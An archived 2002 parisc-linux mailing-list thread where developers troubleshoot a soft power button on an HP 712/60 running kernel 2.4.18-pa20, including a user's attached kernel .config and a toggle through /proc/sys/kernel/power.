From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Fri, 19 Apr 2002 23:47:41 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20020420054741.C4F4D482B@dsl2.external.hp.com>
References: <F39D7BsZXbLvwa2SydH0001aa92@hotmail.com> <200204151232.46311.helge.deller@sap.com> <20020415173544.GO4971@sleepie.demon.co.uk>  <200204152123.19619.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621243 6354 80.91.229.3 (22 Nov 2014 01:54:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:03 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 19 23:47:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C4F4D482B; Fri, 19 Apr 2002 23:47:41 -0600 (MDT)
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Mon, 15 Apr 2002 21:23:19 +0200." <200204152123.19619.deller@gmx.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14611

Helge Deller wrote:
> Richard Hirst wrote:
> > Do you recall what config failed when we did try to free the memory?  I
> > tested recently with B180 and A500, both worked fine with freeing of
> > memory enabled.  IIRC the origianl problem was that init crashed on
> > boot...
...
> unfortunately I don't know which config it was. AFAIR it also never 
> happened to me, but it did for grant or bame. Maybe they know more ?

I don't recall offhand. If it's not in the mail archives, my configs
are stored in the tarballs I upload whenever I build kernels specifically
for C3000 (32-bit) or A500 (64-bit). Those tarballs are on
	ftp://ftp.parisc-linux.org/kernels/c3000 or a500

grant



From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Sat, 20 Apr 2002 15:48:14 +0200
Lines: 680
Approved: news@gmane.org
Message-ID: <OE54mEB4HGXAwxXSXI3000037e7@hotmail.com>
References: <F124jLDxo1dHkLl0atJ00008874@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_003E_01C1E882.C87CF730"
X-Trace: ger.gmane.org 1416621243 6363 80.91.229.3 (22 Nov 2014 01:54:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:03 +0000 (UTC)
To: <deller@gmx.de>, <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 07:51:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe54.law4.hotmail.com [216.33.148.91])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BDFA482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Apr 2002 07:51:23 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 20 Apr 2002 06:51:17 -0700
X-Originating-IP: [213.224.83.38]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 20 Apr 2002 13:51:17.0331 (UTC) FILETIME=[719FFA30:01C1E872]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14612

This is a multi-part message in MIME format.

------=_NextPart_000_003E_01C1E882.C87CF730
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi again,

Okay, I had a busy week and didn't get any chance to compile a new kernel.
Today I've managed to get the 2.4.18-pa20 up and running, but the power
button is still not working as expected. Pressing the button with "Software
power switch support: enabled" powers down the machine instantly (as
before). When I disable the powerswitch with "sysctl -w kernel/power=0" I'm
having the same result. Am I missing something?
Attached to this mail you can find my .config - file
Thanks.


regards,

Kenneth

----- Original Message -----
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
To: <deller@gmx.de>; <parisc-linux@lists.parisc-linux.org>
Sent: Tuesday, April 16, 2002 10:27 AM
Subject: Re: [parisc-linux] not freeing initmem and power button


> I'll try this tonight. Thanks.
>
>
> >From: Helge Deller <deller@gmx.de>
> >To: "Kenneth Westelinck" <kennywest1@hotmail.com>,
> >parisc-linux@lists.parisc-linux.org
> >Subject: Re: [parisc-linux] not freeing initmem and power button
> >Date: Tue, 16 Apr 2002 02:30:39 +0200
> >
> >On Monday 15 April 2002 13:59, Kenneth Westelinck wrote:
> > > >The power-button should work if you update to a newer kernel (>=
> > > >2.4.18-pa19).
> > >
> > > Cool, does this mean: if I push the button, the system will do a clean
> > > shutdown? Or if I push the button, nothing happens?
> > >
> > > Is there an easy way to disable this.
> >
> >In Kernel 2.4.18-pa20 I've added a /proc/sys/kernel/power
> >procfs entry which lets you enable/disable the soft power switch
> >at runtime:
> >
> ># echo 0 > /proc/sys/kernel/power # disables the power switch
> ># echo 1 > /proc/sys/kernel/power # enables the power switch
> >
> ># cat /proc/sys/kernel/power
> >Software power switch support: enabled (1)
> >
> >Or, you could of course also use sysctl program/interface.
> >
> >Greetings,
> >Helge
> >
>
>
> enjoy life, enjoy linux,
>
> Kenneth
>
> _________________________________________________________________
> Download MSN Explorer gratis van http://explorer.msn.nl/intl.asp.
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

------=_NextPart_000_003E_01C1E882.C87CF730
Content-Type: application/octet-stream;
	name=".config"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename=".config"

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODVERSIONS is not set
CONFIG_KMOD=y

#
# Processor type
#
CONFIG_PA7100=y
# CONFIG_PA7200 is not set
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=y
CONFIG_PARPORT_PC_CML1=y
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
# CONFIG_NETFILTER is not set
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
CONFIG_CHR_DEV_SG=y
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_NCR53C8XX is not set
# CONFIG_SCSI_SYM53C8XX is not set
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_HIL=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
CONFIG_QUOTA=y
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
# CONFIG_ISO9660_FS is not set
# CONFIG_JOLIET is not set
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
# CONFIG_ZISOFS_FS is not set
# CONFIG_ZLIB_FS_INFLATE is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB32=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

------=_NextPart_000_003E_01C1E882.C87CF730--



From - Thu Nov 08 21:22:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] not freeing initmem and power button
Date: Sat, 20 Apr 2002 17:51:27 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <200204201751.27272.deller@gmx.de>
References: <F124jLDxo1dHkLl0atJ00008874@hotmail.com> <OE54mEB4HGXAwxXSXI3000037e7@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621244 6370 80.91.229.3 (22 Nov 2014 01:54:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:04 +0000 (UTC)
To: "kenneth westelinck" <kennywest1@hotmail.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 20 09:57:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id EAF22482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Apr 2002 09:56:59 -0600 (MDT)
Original-Received: (qmail 21720 invoked by uid 0); 20 Apr 2002 15:56:44 -0000
Original-Received: from pd90403c9.dip.t-dialin.net (HELO P100) (217.4.3.201)
  by mail.gmx.net (mp001-rz3) with SMTP; 20 Apr 2002 15:56:44 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <OE54mEB4HGXAwxXSXI3000037e7@hotmail.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14613

Hi Kenneth,

I think the problem is your 712/60, which (maybe) doesn't support 
soft-power-off. 
Please look into your dmesg, there you should see one of:
1. Gecko-style soft power switch enabled,
2. Soft power switch support not available.
3. Soft power switch enabled, polling @ 0x<addr>

I suppose your 712/60 will give you #2 and that's why it will not work.

Helge

On Saturday 20 April 2002 15:48, kenneth westelinck wrote:
> Hi again,
>
> Okay, I had a busy week and didn't get any chance to compile a new kernel.
> Today I've managed to get the 2.4.18-pa20 up and running, but the power
> button is still not working as expected. Pressing the button with "Software
> power switch support: enabled" powers down the machine instantly (as
> before). When I disable the powerswitch with "sysctl -w kernel/power=0" I'm
> having the same result. Am I missing something?
> Attached to this mail you can find my .config - file
> Thanks.
>
>
> regards,
>
> Kenneth




From - Thu Nov 08 21:22:28 2018
